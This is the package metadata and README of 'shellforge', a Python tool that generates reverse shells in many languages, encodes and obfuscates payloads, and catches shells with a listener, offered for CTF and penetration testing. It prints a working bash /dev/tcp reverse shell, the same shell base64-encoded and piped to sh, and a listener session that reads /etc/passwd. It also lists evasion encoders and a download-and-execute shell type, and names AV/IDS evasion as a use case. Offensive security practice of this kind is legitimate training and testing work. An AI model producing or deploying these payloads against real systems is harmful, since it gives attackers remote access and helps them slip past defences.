Metadata-Version: 2.4
Name: shellforge
Version: 0.1.0
Summary: Reverse shell generator, payload encoder, and listener for CTF and pentesting
Author-email: ghost-ble <bill.jtrammell@gmail.com>
License: MIT
Project-URL: Homepage, https://github.com/bill-jtrammell/shellforge
Project-URL: Repository, https://github.com/bill-jtrammell/shellforge
Keywords: reverse-shell,pentest,ctf,payload,exploit,shell,listener
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Topic :: Security
Classifier: Programming Language :: Python :: 3
Requires-Python: >=3.10
Description-Content-Type: text/markdown

# shellforge

Reverse shell generator, payload encoder, and listener for CTF competitions and penetration testing. Generate reverse shells in 16+ languages, encode/obfuscate payloads, and catch shells with the built-in listener.

## Install

```bash
pip install shellforge
```

## Quick Start

```python
from shellforge import ShellGenerator, ShellType

# Generate a bash reverse shell
gen = ShellGenerator("10.0.0.1", 4444, ShellType.BASH)
print(gen.generate())
# bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Generate all languages at once
all_shells = gen.generate_all()
for lang, shell in all_shells.items():
    print(f"{lang}: {shell}")
```

## All Shell Types

```python
from shellforge import ShellGenerator, ShellType

gen = ShellGenerator("10.0.0.1", 4444)

# Pick your poison
print(gen.generate())  # default: bash

# Python 3
gen = ShellGenerator("10.0.0.1", 4444, ShellType.PYTHON3)
print(gen.generate())

# PowerShell
gen = ShellGenerator("10.0.0.1", 4444, ShellType.POWERSHELL)
print(gen.generate())

# Netcat (mkfifo)
gen = ShellGenerator("10.0.0.1", 4444, ShellType.NC_MKFIFO)
print(gen.generate())

# Socat (full TTY)
gen = ShellGenerator("10.0.0.1", 4444, ShellType.SOCAT)
print(gen.generate())

# Node.js
gen = ShellGenerator("10.0.0.1", 4444, ShellType.NODEJS)
print(gen.generate())
```

## Encoding & Obfuscation

```python
gen = ShellGenerator("10.0.0.1", 4444, ShellType.BASH)

# Base64 encoded
print(gen.generate_encoded("base64"))
# echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | sh

# Hex encoded
print(gen.generate_encoded("hex"))

# URL encoded
print(gen.generate_encoded("url"))

# XOR encrypted
print(gen.generate_encoded("xor"))

# Double base64
from shellforge.encode import Encoder
enc = Encoder(gen.generate())
print(enc.double_base64())

# Wildcard evasion
print(enc.wildcard_evasion())
```

## Built-in Listener

```python
from shellforge import ShellListener

# Start listener
listener = ShellListener("0.0.0.0", 4444)
listener.start()

# Commands once connected:
# shell> whoami
# shell> id
# shell> cat /etc/passwd
# shell> exit
```

## Bind Shell

```python
from shellforge.shells import bind_shell, ShellType

# Generate bind shell payloads
print(bind_shell(4444))
print(bind_shell(4444, ShellType.PYTHON3))
```

## CLI Usage

```bash
# Generate all shells for an IP
shellforge --lhost 10.0.0.1 --lport 4444 --all

# Generate specific shell
shellforge --lhost 10.0.0.1 --lport 4444 --type python3

# Generate encoded
shellforge --lhost 10.0.0.1 --lport 4444 --encode base64

# Start listener
shellforge --listen --lport 4444
```

## Languages Supported

| Language | Type |
|----------|------|
| Bash | `/bin/sh` reverse shell |
| Python | Python 2 reverse shell |
| Python 3 | Python 3 reverse shell |
| Perl | Perl reverse shell |
| Ruby | Ruby reverse shell |
| PHP | PHP reverse shell |
| Netcat | `nc -e` |
| Netcat (fifo) | Named pipe technique |
| PowerShell | Windows PS reverse shell |
| CSH | C shell |
| ZSH | Z shell |
| Java | Java Runtime exec |
| Node.js | Node.js net socket |
| Socat | Full TTY shell |
| Wget/Curl | Download and execute |

## Requirements

- Python >= 3.10
- No external dependencies

## Use Cases

- **CTF competitions**: Quickly generate shells for any language
- **Penetration testing**: Encode payloads to evade AV/IDS
- **Bug bounties**: One-liner shells for limited input vectors
- **Security training**: Learn reverse shell techniques across languages

## Donate

If this won you a CTF or saved a pentest:
- **PayPal**: bill.jtrammell@gmail.com
- **Cash App**: $slauter99

## License

MIT
